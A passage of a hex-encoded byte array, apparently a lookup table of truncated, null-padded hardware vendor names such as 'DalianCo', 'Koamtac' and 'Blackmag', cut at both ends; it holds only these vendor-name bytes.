0x00,\r\n0x38, 0x6c, 0x6f, 0x63, 0x61, 0x74, 0x69, 0x6f,\r\n0x44, 0x61, 0x6c, 0x69, 0x61, 0x6e, 0x43, 0x6f,\r\n0x32, 0x6e, 0x54, 0x65, 0x6c, 0x65, 0x6b, 0x6f,\r\n0x4b, 0x6f, 0x61, 0x6d, 0x74, 0x61, 0x63, 0x00,\r\n0x43, 0x68, 0x61, 0x6f, 0x77, 0x69, 0x66, 0x69,\r\n0x53, 0x65, 0x63, 0x75, 0x72, 0x65, 0x45, 0x6c,\r\n0x42, 0x6c, 0x61, 0x63, 0x6b, 0x6d, 0x61, 0x67,\r\n0x4d, 0x65, 0x67, 0x45, 0x6c, 0x65, 0x63, 0x74,\r\n0x53, 0x73, 0x6f, 0x6d, 0x61, 0x53, 0x65, 0x63,\r\n0x49, 0x6d, 0x61, 0x67, 0x6f, 0x47, 0x72, 0x6f,\r\n0x50, 0x61, 0x74, 0x65, 0x63, 0x68, 0x00, 0x00,\r\n0x45, 0x2d, 0x42, 0x61, 0x6e, 0x64, 0x43, 0x6f,\r\n0x45, 0x6e, 0x74, 0x65, 0x72, 0x74, 0x61, 0x69,\r\n0x50, 0x6c, 0x65, 0x78, 0x75, 0x73, 0x4d, 0x61,\r\n0x50, 0x6f, 0x72, 0x74, 0x73, 0x6d, 0x69, 0x74,\r\n0x4d, 0x69, 0x6e, 0x64, 0x74, 0x72, 0x65, 0x65,\r\n0x52, 0x65, 0x64, 0x53, 0x75, 0x6e, 0x53, 0x79,\r\n0x53, 0x63, 0x61, 0x6c, 0x65, 0x43, 0x6f, 0x6d,\r\n0x53, 0x61, 0x77, 0x77, 0x61, 0x76, 0x65, 0x00,\r\n0x4d, 0x65, 0x74, 0x61, 0x6d, 0x61, 0x6b, 0x6f,\r\n0x59, 0x73, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x43, 0x6f, 0x62, 0x69, 0x00, 0x00, 0x00, 0x00,\r\n0x4a, 0x6e, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x49, 0x62, 0x63, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x47, 0x61, 0x74, 0x65, 0x73, 0x61, 0x69, 0x72,\r\n0x53, 0x61, 0x66, 0x65, 0x74, 0x6f, 0x6e, 0x65,\r\n0x54, 0x65, 0x6e, 0x79, 0x75, 0x54, 0x65, 0x63,\r\n0x54, 0x69, 0x67, 0x61, 0x72, 0x6f, 0x57, 0x69,\r\n0x4e, 0x74, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x50, 0x69, 0x78, 0x73, 0x79, 0x73, 0x53, 0x72,\r\n0x41, 0x6d, 0x73, 0x4e, 0x65, 0x76, 0x65, 0x00,\r\n0x57, 0x75, 0x78, 0x69, 0x49, 0x64, 0x61, 0x74,\r\n0x55, 0x6e, 0x69, 0x6b, 0x65, 0x79, 0x54, 0x65,\r\n0x43, 0x6f, 0x63, 0x6f, 0x6f, 0x6e, 0x41, 0x6c,\r\n0x45, 0x6e, 0x6d, 0x61, 0x73, 0x00, 0x00, 0x00,\r\n0x50, 0x61, 0x79, 0x72, 0x61, 0x6e, 0x67, 0x65,\r\n0x50, 0x68, 0x79, 0x74, 0x72, 0x65, 0x78, 0x54,\r\n0x43, 0x6f, 0x6e, 0x74, 0x72, 0x6f, 0x6c, 0x43,\r\n0x5a, 0x53, 0x65, 0x64, 0x61, 0x69, 0x4b, 0x65,\r\n0x4a, 0x69, 0x6e, 0x6d, 0x75, 0x79, 0x75, 0x45,\r\n0x4e, 0x6f, 0x72, 0x74, 0x65, 0x63, 0x00, 0x00,\r\n0x47, 0x6c, 0x65, 0x6e, 0x44, 0x69, 0x6d, 0x70,\r\n0x50, 0x68, 0x69, 0x6c, 0x69, 0x70, 0x73, 0x48,\r\n0x4f, 0x70, 0x65, 0x6e, 0x6d, 0x61, 0x74, 0x69,\r\n0x56, 0x73, 0x65, 0x56, 0x61, 0x6c, 0x65, 0x6e,\r\n0x47, 0x6e, 0x52, 0x65, 0x73, 0x6f, 0x75, 0x6e,\r\n0x4b, 0x69, 0x6e, 0x67, 0x53, 0x6c, 0x69, 0x64,\r\n0x44, 0x53, 0x69, 0x67, 0x6e, 0x74, 0x00, 0x00,\r\n0x4d, 0x68, 0x6c, 0x4c, 0x6c, 0x63, 0x00, 0x00,\r\n0x4f, 0x62, 0x6a, 0x65, 0x6e, 0x69, 0x6f, 0x75,\r\n0x4d, 0x65, 0x73, 0x6d, 0x6f, 0x54, 0x65, 0x63,\r\n0x42, 0x6f, 0x73, 0x63, 0x68, 0x53, 0x6f, 0x66,\r\n0x4f, 0x73, 0x72, 0x61, 0x6d, 0x00, 0x00, 0x00,\r\n0x53, 0x61, 0x74, 0x65, 0x6c, 0x63, 0x6f, 0x00,\r\n0x41, 0x63, 0x61, 0x63, 0x69, 0x61, 0x43, 0x6f,\r\n0x41, 0x63, 0x65, 0x73, 0x54, 0x65, 0x63, 0x68,\r\n0x43, 0x6f, 0x73, 0x63, 0x6f, 0x45, 0x6c, 0x65,\r\n0x41, 0x65, 0x52, 0x65, 0x66, 0x75, 0x73, 0x6f,\r\n0x4d, 0x6f, 0x62, 0x69, 0x6c, 0x69, 0x63, 0x6f,\r\n0x44, 0x65, 0x76, 0x69, 0x61, 0x6c, 0x65, 0x74,\r\n0x4b, 0x6f, 0x6c, 0x66, 0x66, 0x43, 0x6f, 0x6d,\r\n0x41, 0x63, 0x72, 0x6f, 0x41, 0x73, 0x73, 0x6f,\r\n0x54, 0x69, 0x61, 0x6e, 0x6a, 0x69, 0x6e, 0x59,\r\n0x44, 0x61, 0x6d, 0x61, 0x6c, 0x69, 0x73, 0x6b,\r\n0x41, 0x6e, 0x74, 0x61, 0x69, 0x72, 0x61, 0x54,\r\n0x4d, 0x73, 0x2d, 0x4d, 0x61, 0x67, 0x6e, 0x65,\r\n0x45, 0x6e, 0x6d, 0x6f, 0x74, 0x75, 0x73, 0x00,\r\n0x4e, 0x65, 0x77, 0x43, 0x6f, 0x73, 0x6d, 0x6f,\r\n0x44, 0x6f, 0x6e, 0x67, 0x6e, 0x69, 0x61, 0x6e,\r\n0x49, 0x6f, 0x78, 0x6f, 0x73, 0x54, 0x65, 0x63,\r\n0x4e, 0x65, 0x6f, 0x6e, 0x00, 0x00, 0x00, 0x00,\r\n0x51, 0x75, 0x69, 0x72, 0x6b, 0x79, 0x00, 0x00,\r\n0x45, 0x73, 0x65, 0x6e, 0x4f, 0x70, 0x74, 0x6f,\r\n0x44, 0x6d, 0x65, 0x74, 0x50, 0x72, 0x6f, 0x64,\r\n0x52, 0x69, 0x64, 0x67, 0x65, 0x6c, 0x69, 0x6e,\r\n0x41, 0x73, 0x63, 0x74, 0x00, 0x00, 0x00, 0x00,\r\n0x49, 0x6e, 0x68, 0x6f, 0x6e, 0x49, 0x6e, 0x74,\r\n0x42, 0x65, 0x65, 0x42, 0x65, 0x61, 0x6e, 0x73,\r\n0x4c, 0x69, 0x6e, 0x6b, 0x77, 0x65, 0x6c, 0x6c,\r\n0x4e, 0x75, 0x75, 0x6f, 0x00, 0x00, 0x00, 0x00,\r\n0x55, 0x49, 0x4c, 0x61, 0x70, 0x70, 0x00, 0x00,\r\n0x53, 0x61, 0x6c, 0x75, 0x74, 0x72, 0x6f, 0x6e,\r\n0x48, 0x75, 0x69, 0x7a, 0x68, 0x6f, 0x75, 0x53,\r\n0x4f, 0x72, 0x61, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x4d, 0x6f, 0x6e, 0x74, 0x61, 0x67, 0x65, 0x54,\r\n0x45, 0x73, 0x73, 0x6f, 0x6e, 0x54, 0x65, 0x63,\r\n0x4b, 0x65, 0x79, 0x73, 0x69, 0x67, 0x68, 0x74,\r\n0x4c, 0x61, 0x74, 0x74, 0x69, 0x63, 0x65, 0x77,\r\n0x46, 0x6f, 0x72, 0x67, 0x65, 0x74, 0x62, 0x6f,\r\n0x53, 0x75, 0x6e, 0x6c, 0x69, 0x74, 0x53, 0x79,\r\n0x42, 0x72, 0x75, 0x6e, 0x65, 0x6c, 0x55, 0x6e,\r\n0x4a, 0x69, 0x61, 0x6e, 0x6c, 0x69, 0x6e, 0x67,\r\n0x54, 0x72, 0x61, 0x64, 0x65, 0x46, 0x69, 0x64,\r\n0x47, 0x65, 0x72, 0x6d, 0x61, 0x6e, 0x65, 0x65,\r\n0x53, 0x6f, 0x6c, 0x61, 0x72, 0x62, 0x72, 0x69,\r\n0x41, 0x7a, 0x65, 0x74, 0x69, 0x4e, 0x65, 0x74,\r\n0x5a, 0x75, 0x72, 0x69, 0x63, 0x68, 0x49, 0x6e,\r\n0x4f, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x4c, 0x65, 0x61, 0x70, 0x66, 0x72, 0x6f, 0x67,\r\n0x50, 0x61, 0x74, 0x6c, 0x69, 0x74, 0x65, 0x00,\r\n0x41, 0x62, 0x62, 0x58, 0x69, 0x61, 0x6d, 0x65,\r\n0x47, 0x68, 0x65, 0x2d, 0x43, 0x65, 0x73, 0x45,\r\n0x4c, 0x6f, 0x6f, 0x6b, 0x45, 0x61, 0x73, 0x79,\r\n0x57, 0x69, 0x6e, 0x73, 0x74, 0x61, 0x72, 0x73,\r\n0x42, 0x79, 0x74, 0x65, 0x73, 0x41, 0x74, 0x57,\r\n0x41, 0x64, 0x6f, 0x6c, 0x66, 0x54, 0x65, 0x64,\r\n0x50, 0x61, 0x63, 0x6b, 0x65, 0x74, 0x44, 0x65,\r\n0x56, 0x65, 0x6e, 0x74, 0x69, 0x6c, 0x61, 0x74,\r\n0x54, 0x68, 0x69, 0x6e, 0x6b, 0x65, 0x63, 0x6f,\r\n0x57, 0x44, 0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f,\r\n0x4e, 0x6f, 0x76, 0x61, 0x74, 0x65, 0x63, 0x4b,\r\n0x4e, 0x6f, 0x76, 0x69, 0x67, 0x61, 0x00, 0x00,\r\n0x59, 0x65, 0x61, 0x6c, 0x69, 0x6e, 0x6b, 0x58,\r\n0x4e, 0x69, 0x6d, 0x62, 0x75, 0x73, 0x00, 0x00,\r\n0x42, 0x65, 0x6e, 0x71, 0x00, 0x00, 0x00, 0x00,\r\n0x50, 0x72, 0x65, 0x73, 0x63, 0x6f, 0x70, 0x65,\r\n0x4b, 0x61, 0x65, 0x73, 0x65, 0x72, 0x4b, 0x6f,\r\n0x4e, 0x65, 0x74, 0x4e, 0x65, 0x77, 0x45, 0x6c,\r\n0x4b, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x4e, 0x65, 0x77, 0x61, 0x67, 0x53, 0x61, 0x00,\r\n0x41, 0x62, 0x62, 0x47, 0x65, 0x6e, 0x77, 0x61,\r\n0x43, 0x6f, 0x72, 0x73, 0x61, 0x69, 0x72, 0x43,\r\n0x4e, 0x65, 0x6f, 0x73, 0x79, 0x73, 0x74, 0x65,\r\n0x54, 0x6f, 0x6e, 0x67, 0x71, 0x69, 0x6e, 0x67,\r\n0x41, 0x74, 0x63, 0x6f, 0x6d, 0x54, 0x65, 0x63,\r\n0x4e, 0x65, 0x74, 0x72, 0x6f, 0x6e, 0x69, 0x63,\r\n0x41, 0x67, 0x69, 0x6c, 0x65, 0x6d, 0x65, 0x73,\r\n0x58, 0x61, 0x70, 0x74, 0x00, 0x00, 0x00, 0x00,\r\n0x54, 0x6f, 0x6b, 0x79, 0x6f, 0x52, 0x61, 0x64,\r\n0x41, 0x6c, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x67,\r\n0x49, 0x6e, 0x74, 0x65, 0x6c, 0x6c, 0x69, 0x73,\r\n0x4f, 0x73, 0x74, 0x65, 0x72, 0x68, 0x6f, 0x75,\r\n0x55, 0x73, 0x61, 0x67, 0x00, 0x00, 0x00, 0x00,\r\n0x46, 0x6f, 0x72, 0x77, 0x6f, 0x72, 0x6c, 0x64,\r\n0x42, 0x6c, 0x75, 0x65, 0x44, 0x61, 0x6e, 0x75,\r\n0x56, 0x69, 0x70, 0x74, 0x65, 0x6c, 0x61, 0x00,\r\n0x45, 0x6c, 0x66, 0x74, 0x65, 0x63, 0x68, 0x00,\r\n0x54, 0x65, 0x6c, 0x65, 0x61, 0x64, 0x61, 0x70,\r\n0x4e, 0x65, 0x65, 0x74, 0x73, 0x00, 0x00, 0x00,\r\n0x53, 0x61, 0x74, 0x6d, 0x61, 0x70, 0x00, 0x00,\r\n0x52, 0x65, 0x6d, 0x65, 0x63, 0x42, 0x72, 0x6f,\r\n0x45, 0x6e, 0x64, 0x69, 0x61, 0x6e, 0x53, 0x52,\r\n0x4f, 0x70, 0x65, 0x6e, 0x70, 0x65, 0x61, 0x6b,\r\n0x45, 0x6d, 0x62, 0x65, 0x64, 0x00, 0x00, 0x00,\r\n0x4c, 0x7a, 0x6c, 0x61, 0x62, 0x73, 0x00, 0x00,\r\n0x51, 0x73, 0x72, 0x41, 0x75, 0x74, 0x6f, 0x6d,\r\n0x50, 0x6f, 0x77, 0x65, 0x72, 0x51, 0x75, 0x6f,\r\n0x44, 0x69, 0x61, 0x6c, 0x6f, 0x67, 0x53, 0x65,\r\n0x4b, 0x79, 0x79, 0x6e, 0x65, 0x6c, 0x00, 0x00,\r\n0x49, 0x72, 0x63, 0x6f, 0x53, 0x69, 0x73, 0x74,\r\n0x52, 0x61, 0x79, 0x74, 0x69, 0x67, 0x68, 0x74,\r\n0x55, 0x6e, 0x69, 0x64, 0x69, 0x73, 0x00, 0x00,\r\n0x47, 0x72, 0x65, 0x79, 0x77, 0x61, 0x72, 0x65,\r\n0x4b, 0x69, 0x72, 0x61, 0x6c, 0x65, 0x54, 0x65,\r\n0x47, 0x70, 0x45, 0x6c, 0x65, 0x63, 0x74, 0x72,\r\n0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x2d, 0x49,\r\n0x54, 0x61, 0x72, 0x69, 0x6f, 0x78, 0x00, 0x00,\r\n0x4f, 0x66, 0x50, 0x72, 0x65, 0x73, 0x69, 0x64,\r\n0x53, 0x61, 0x66, 0x66, 0x72, 0x6f, 0x6e, 0x53,\r\n0x45, 0x6d, 0x70, 0x6f, 0x72, 0x69, 0x61, 0x54,\r\n0x48, 0x75, 0x72, 0x69, 0x61, 0x00, 0x00, 0x00,\r\n0x4d, 0x6f, 0x64, 0x65, 0x6c, 0x6c, 0x65, 0x69,\r\n0x49, 0x6e, 0x6e, 0x6f, 0x6b, 0x61, 0x73, 0x47,\r\n0x53, 0x6b, 0x79, 0x68, 0x61, 0x77, 0x6b, 0x65,\r\n0x41, 0x6e, 0x68, 0x75, 0x69, 0x57, 0x61, 0x6e,\r\n0x48, 0x79, 0x75, 0x6e, 0x67, 0x73, 0x65, 0x75,\r\n0x54, 0x72, 0x69, 0x2d, 0x54, 0x65, 0x63, 0x68,\r\n0x44, 0x72, 0x69, 0x76, 0x65, 0x6e, 0x65, 0x74,\r\n0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x75, 0x00,\r\n0x57, 0x6f, 0x78, 0x74, 0x65, 0x72, 0x54, 0x65,\r\n0x56, 0x61, 0x72, 0x6d, 0x6f, 0x75, 0x72, 0x4e,\r\n0x41, 0x62, 0x6c, 0x65, 0x6c, 0x69, 0x6e, 0x6b,\r\n0x45, 0x61, 0x73, 0x79, 0x53, 0x6f, 0x66, 0x74,\r\n0x43, 0x6f, 0x68, 0x6f, 0x44, 0x61, 0x74, 0x61,\r\n0x44, 0x76, 0x72, 0x43, 0x26, 0x43, 0x00, 0x00,\r\n0x46, 0x66, 0x6c, 0x79, 0x34, 0x75, 0x00, 0x00,\r\n0x43, 0x68, 0x61, 0x62, 0x72, 0x69, 0x65, 0x72,\r\n0x50, 0x61, 0x72, 0x6b, 0x41, 0x73, 0x73, 0x69,\r\n0x49, 0x26, 0x43, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x4c, 0x65, 0x74, 0x76, 0x4d, 0x6f, 0x62, 0x69,\r\n0x41, 0x64, 0x64, 0x61, 0x74, 0x53, 0x52, 0x4f,\r\n0x43, 0x6f, 0x63, 0x68, 0x6c, 0x65, 0x61, 0x72,\r\n0x50, 0x72, 0x6f, 0x66, 0x69, 0x63, 0x68, 0x69,\r\n0x48, 0x6f, 0x6c, 0x6c, 0x65, 0x79, 0x4d, 0x65,\r\n0x4e, 0x65, 0x77, 0x72, 0x75, 0x6e, 0x00, 0x00,\r\n0x50, 0x61, 0x72, 0x61, 0x64, 0x6f, 0x78, 0x45,\r\n0x48, 0x65, 0x6c, 0x6c, 0x61, 0x53, 0x6f, 0x6e,\r\n0x47, 0x72, 0x65, 0x65, 0x6e, 0x76, 0x69, 0x74,\r\n0x52, 0x61, 0x6a, 0x61, 0x6e, 0x74, 0x00, 0x00,\r\n0x45, 0x6d, 0x62, 0x65, 0x72, 0x74, 0x65, 0x63,\r\n0x41, 0x72, 0x6e, 0x6f, 0x6c, 0x64, 0x52, 0x69,\r\n0x49, 0x6e, 0x63, 0x6f, 0x61, 0x78, 0x4e, 0x65,\r\n0x43, 0x61, 0x74, 0x68, 0x61, 0x79, 0x43, 0x6f,\r\n0x4d, 0x65, 0x6d, 0x6a, 0x65, 0x74, 0x00, 0x00,\r\n0x43, 0x65, 0x6e, 0x74, 0x65, 0x72, 0x61, 0x50,\r\n0x50, 0x65, 0x72, 0x70, 0x6c, 0x65, 0x73, 0x00,\r\n0x43, 0x79, 0x62, 0x65, 0x72, 0x54, 0x72, 0x61,\r\n0x43, 0x72, 0x6f, 0x75, 0x7a, 0x65, 0x74, 0x41,\r\n0x42, 0x65, 0x61, 0x74, 0x53, 0x79, 0x73, 0x74,\r\n0x4a, 0x69, 0x61, 0x6e, 0x67, 0x73, 0x75, 0x51,\r\n0x56, 0x61, 0x69, 0x6c, 0x6c, 0x61, 0x6e, 0x74,\r\n0x47, 0x6e, 0x6f, 0x64, 0x61, 0x6c, 0x00, 0x00,\r\n0x43, 0x33, 0x70, 0x6f, 0x53, 0x41, 0x00, 0x00,\r\n0x49, 0x6e, 0x63, 0x6f, 0x67, 0x6e, 0x69, 0x74,\r\n0x46, 0x61, 0x69, 0x72, 0x70, 0x68, 0x6f, 0x6e,\r\n0x49, 0x65, 0x65, 0x65, 0x31, 0x39, 0x30, 0x35,\r\n0x55, 0x6e, 0x69, 0x70, 0x61, 0x74, 0x74, 0x65,\r\n0x41, 0x69, 0x66, 0x6c, 0x6f, 0x6f, 0x00, 0x00,\r\n0x43, 0x69, 0x6c, 0x61, 0x67, 0x49, 0x6e, 0x74,\r\n0x43, 0x72, 0x79, 0x73, 0x74, 0x61, 0x6c, 0x56,\r\n0x4e, 0x65, 0x74, 0x32, 0x67, 0x72, 0x69, 0x64,\r\n0x43, 0x68, 0x75, 0x61, 0x6e, 0x67, 0x6f, 0x53,\r\n0x47, 0x72, 0x65, 0x65, 0x6e, 0x57, 0x61, 0x76,\r\n0x54, 0x61, 0x69, 0x6c, 0x79, 0x6e, 0x54, 0x65,\r\n0x42, 0x6c, 0x75, 0x77, 0x61, 0x6e, 0x53, 0x61,\r\n0x4c, 0x69, 0x61, 0x6e, 0x67, 0x48, 0x65, 0x72,\r\n0x56, 0x69, 0x65, 0x77, 0x6f, 0x72, 0x6b, 0x73,\r\n0x42, 0x62, 0x6d, 0x63, 0x00, 0x00, 0x00, 0x00,\r\n0x4d, 0x65, 0x74, 0x72, 0x61, 0x73, 0x63, 0x61,\r\n0x4f, 0x6d, 0x73, 0x53, 0x70, 0x6f, 0x6c, 0x53,\r\n0x43, 0x72, 0x6f, 0x73, 0x73, 0x50, 0x6f, 0x69,\r\n0x4d, 0x69, 0x6f, 0x76, 0x69, 0x73, 0x69, 0x6f,\r\n0x52, 0x74, 0x63, 0x49, 0x6e, 0x64, 0x75, 0x73,\r\n0x42, 0x6f, 0x72, 0x71, 0x73, 0x42, 0x65, 0x69,\r\n0x42, 0x6c, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x56, 0x69, 0x74, 0x65, 0x63, 0x53, 0x79, 0x73,\r\n0x4d, 0x74, 0x6d, 0x63, 0x6f, 0x6d, 0x6d, 0x75,\r\n0x4d, 0x6b, 0x74, 0x53, 0x79, 0x73, 0x74, 0x65,\r\n0x48, 0x75, 0x61, 0x6d, 0x69, 0x49, 0x6e, 0x66,\r\n0x50, 0x61, 0x6e, 0x6f, 0x64, 0x69, 0x63, 0x53,\r\n0x50, 0x72, 0x6f, 0x74, 0x6f, 0x6e, 0x69, 0x63,\r\n0x54, 0x61, 0x6d, 0x72, 0x6f, 0x6e, 0x00, 0x00,\r\n0x4c, 0x6d, 0x69, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x4e, 0x65, 0x62, 0x75, 0x73, 0x65, 0x6e, 0x73,\r\n0x57, 0x61, 0x74, 0x63, 0x68, 0x6e, 0x65, 0x74,\r\n0x54, 0x74, 0x74, 0x65, 0x63, 0x68, 0x43, 0x6f,\r\n0x4e, 0x65, 0x74, 0x6d, 0x6f, 0x6f, 0x6e, 0x54,\r\n0x41, 0x64, 0x64, 0x6e, 0x65, 0x72, 0x67, 0x00,\r\n0x53, 0x74, 0x6f, 0x72, 0x6f, 0x6e, 0x65, 0x00,\r\n0x49, 0x76, 0x65, 0x6e, 0x69, 0x78, 0x00, 0x00,\r\n0x54, 0x72, 0x61, 0x6e, 0x73, 0x69, 0x63, 0x73,\r\n0x53, 0x72, 0x63, 0x43, 0x6f, 0x6d, 0x70, 0x75,\r\n0x43, 0x68, 0x65, 0x65, 0x72, 0x69, 0x6e, 0x67,\r\n0x4f, 0x72, 0x62, 0x69, 0x73, 0x61, 0x74, 0x44,\r\n0x50, 0x75, 0x6c, 0x7a, 0x7a, 0x65, 0x00, 0x00,\r\n0x49, 0x6e, 0x66, 0x69, 0x6e, 0x69, 0x62, 0x61,\r\n0x58, 0x74, 0x61, 0x45, 0x6c, 0x65, 0x63, 0x74,\r\n0x53, 0x69, 0x61, 0x6e, 0x6f, 0x4d, 0x6f, 0x62,\r\n0x43, 0x68, 0x69, 0x6e, 0x61, 0x48, 0x6f, 0x70,\r\n0x53, 0x63, 0x50, 0x72, 0x6f, 0x66, 0x65, 0x73,\r\n0x4b, 0x32, 0x65, 0x54, 0x65, 0x6b, 0x70, 0x6f,\r\n0x47, 0x61, 0x6d, 0x65, 0x54, 0x65, 0x63, 0x68,\r\n0x56, 0x65, 0x6c, 0x61, 0x6e, 0x6b, 0x61, 0x6e,\r\n0x43, 0x6f, 0x6d, 0x70, 0x65, 0x72, 0x54, 0x65,\r\n0x53, 0x69, 0x6d, 0x74, 0x6f, 0x6e, 0x54, 0x65,\r\n0x53, 0x74, 0x61, 0x62, 0x69, 0x6c, 0x6f, 0x49,\r\n0x44, 0x61, 0x72, 0x62, 0x65, 0x65, 0x76, 0x69,\r\n0x41, 0x6c, 0x6c, 0x43, 0x6f, 0x6d, 0x70, 0x6f,\r\n0x47, 0x73, 0x69, 0x45, 0x6c, 0x65, 0x63, 0x74,\r\n0x42, 0x72, 0x61, 0x64, 0x79, 0x41, 0x73, 0x69,\r\n0x56, 0x69, 0x65, 0x77, 0x63, 0x6f, 0x6f, 0x70,\r\n0x52, 0x61, 0x63, 0x6b, 0x74, 0x69, 0x76, 0x69,\r\n0x47, 0x65, 0x6d, 0x69, 0x63, 0x6f, 0x6d, 0x54,\r\n0x55, 0x6e, 0x69, 0x66, 0x69, 0x65, 0x64, 0x50,\r\n0x54, 0x74, 0x63, 0x4d, 0x61, 0x72, 0x63, 0x6f,\r\n0x47, 0x6c, 0x6f, 0x62, 0x61, 0x6c, 0x46, 0x69,\r\n0x56, 0x61, 0x6c, 0x65, 0x6f, 0x53, 0x63, 0x68,\r\n0x45, 0x6e, 0x74, 0x72, 0x79, 0x70, 0x61, 0x73,\r\n0x54, 0x65, 0x72, 0x61, 0x6f, 0x6e, 0x00, 0x00,\r\n0x42, 0x74, 0x62, 0x4b, 0x6f, 0x72, 0x65, 0x61,\r\n0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f,\r\n0x41, 0x6d, 0x61, 0x74, 0x69, 0x73, 0x43, 0x6f,\r\n0x51, 0x70, 0x63, 0x6f, 0x6d, 0x00, 0x00, 0x00,\r\n0x47, 0x65, 0x6e, 0x65, 0x72, 0x69, 0x74, 0x6f,\r\n0x47, 0x65, 0x6d, 0x62, 0x69, 0x72, 0x64, 0x45,\r\n0x45, 0x61, 0x73, 0x79, 0x6e, 0x65, 0x74, 0x77,\r\n0x51, 0x66, 0x69, 0x65, 0x64, 0x6e, 0x65, 0x74,\r\n0x53, 0x69, 0x6d, 0x70, 0x6c, 0x65, 0x41, 0x75,\r\n0x50, 0x6f, 0x79, 0x6e, 0x74, 0x00, 0x00, 0x00,\r\n0x53, 0x6f, 0x76, 0x69, 0x63, 0x6f, 0x00, 0x00,\r\n0x53, 0x75, 0x7a, 0x68, 0x6f, 0x75, 0x54, 0x6f,\r\n0x42, 0x65, 0x67, 0x68, 0x65, 0x6c, 0x6c, 0x69,\r\n0x46, 0x69, 0x72, 0x6d, 0x74, 0x65, 0x6b, 0x4c,\r\n0x41, 0x6d, 0x65, 0x72, 0x67, 0x69, 0x6e, 0x74,\r\n0x43, 0x61, 0x6e, 0x6f, 0x70, 0x75, 0x73, 0x55,\r\n0x53, 0x65, 0x6e, 0x61, 0x6f, 0x4e, 0x65, 0x74,\r\n0x41, 0x72, 0x74, 0x42, 0x65, 0x69, 0x6a, 0x69,\r\n0x41, 0x76, 0x6f, 0x74, 0x65, 0x6b, 0x00, 0x00,\r\n0x57, 0x68, 0x69, 0x72, 0x6c, 0x70, 0x6f, 0x6f,\r\n0x49, 0x6b, 0x6e, 0x6f, 0x77, 0x6c, 0x65, 0x64,\r\n0x59, 0x6f, 0x6e, 0x67, 0x54, 0x61, 0x69, 0x45,\r\n0x49, 0x6e, 0x6e, 0x6f, 0x6d, 0x64, 0x6c, 0x65,\r\n0x54, 0x61, 0x6d, 0x61, 0x67, 0x67, 0x6f, 0x00,\r\n0x43, 0x75, 0x64, 0x6f, 0x43, 0x6f, 0x6d, 0x6d,\r\n0x43, 0x65, 0x6c, 0x6c, 0x6f, 0x6e, 0x43, 0x6f,\r\n0x4a, 0x65, 0x74, 0x6d, 0x6f, 0x62, 0x69, 0x6c,\r\n0x4c, 0x69, 0x6e, 0x65, 0x65, 0x79, 0x65, 0x00,\r\n0x46, 0x69, 0x62, 0x65, 0x72, 0x77, 0x6f, 0x72,\r\n0x52, 0x61, 0x6e, 0x6f, 0x76, 0x75, 0x73, 0x55,\r\n0x48, 0x6f, 0x6d, 0x65, 0x70, 0x6c, 0x75, 0x67,\r\n0x45, 0x6c, 0x65, 0x76, 0x65, 0x6e, 0x00, 0x00,\r\n0x4b, 0x6f, 0x75, 0x62, 0x61, 0x63, 0x68, 0x69,\r\n0x46, 0x6c, 0x6f, 0x77, 0x44, 0x61, 0x74, 0x61,\r\n0x41, 0x6d, 0x70, 0x65, 0x72, 0x00, 0x00, 0x00,\r\n0x41, 0x6e, 0x67, 0x69, 0x65, 0x48, 0x6f, 0x73,\r\n0x41, 0x62, 0x75, 0x73, 0x53, 0x65, 0x63, 0x75,\r\n0x52, 0x66, 0x53, 0x75, 0x72, 0x67, 0x69, 0x63,\r\n0x51, 0x75, 0x61, 0x6e, 0x74, 0x68, 0x6f, 0x75,\r\n0x49, 0x62, 0x61, 0x44, 0x6f, 0x73, 0x69, 0x6d,\r\n0x53, 0x6f, 0x6c, 0x69, 0x64, 0x4f, 0x70, 0x74,\r\n0x45, 0x6d, 0x66, 0x69, 0x72, 0x73, 0x74, 0x00,\r\n0x48, 0x69, 0x74, 0x65, 0x76, 0x69, 0x73, 0x69,\r\n0x51, 0x64, 0x69, 0x71, 0x6f, 0x53, 0x70, 0x5a,\r\n0x42, 0x69, 0x74, 0x34, 0x69, 0x64, 0x53, 0x72,\r\n0x53, 0x6b, 0x69, 0x76, 0x61, 0x54, 0x65, 0x63,\r\n0x52, 0x64, 0x61, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x47, 0x69, 0x67, 0x61, 0x54, 0x6d, 0x73, 0x00,\r\n0x33, 0x64, 0x49, 0x6d, 0x61, 0x67, 0x69, 0x6e,\r\n0x45, 0x76, 0x6f, 0x6c, 0x75, 0x7a, 0x6e, 0x00,\r\n0x55, 0x6e, 0x6d, 0x6f, 0x6e, 0x64, 0x61, 0x79,\r\n0x43, 0x65, 0x72, 0x69, 0x6f, 0x00, 0x00, 0x00,\r\n0x41, 0x26, 0x44, 0x45, 0x6e, 0x67, 0x69, 0x6e,\r\n0x4c, 0x76, 0x78, 0x57, 0x65, 0x73, 0x74, 0x65,\r\n0x43, 0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f, 0x6c,\r\n0x44, 0x2d, 0x42, 0x72, 0x6f, 0x61, 0x64, 0x00,\r\n0x55, 0x63, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x4d, 0x70, 0x67, 0x69, 0x6f, 0x00, 0x00, 0x00,\r\n0x42, 0x65, 0x79, 0x6f, 0x6e, 0x64, 0x44, 0x65,\r\n0x4e, 0x6f, 0x72, 0x74, 0x65, 0x6b, 0x2d, 0x41,\r\n0x56, 0x69, 0x6f, 0x67, 0x65, 0x6d, 0x00, 0x00,\r\n0x47, 0x6f, 0x64, 0x65, 0x6e, 0x54, 0x65, 0x63,\r\n0x4c, 0x79, 0x74, 0x72, 0x6f, 0x00, 0x00, 0x00,\r\n0x41, 0x72, 0x63, 0x6f, 0x6d, 0x00, 0x00, 0x00,\r\n0x49, 0x6e, 0x73, 0x69, 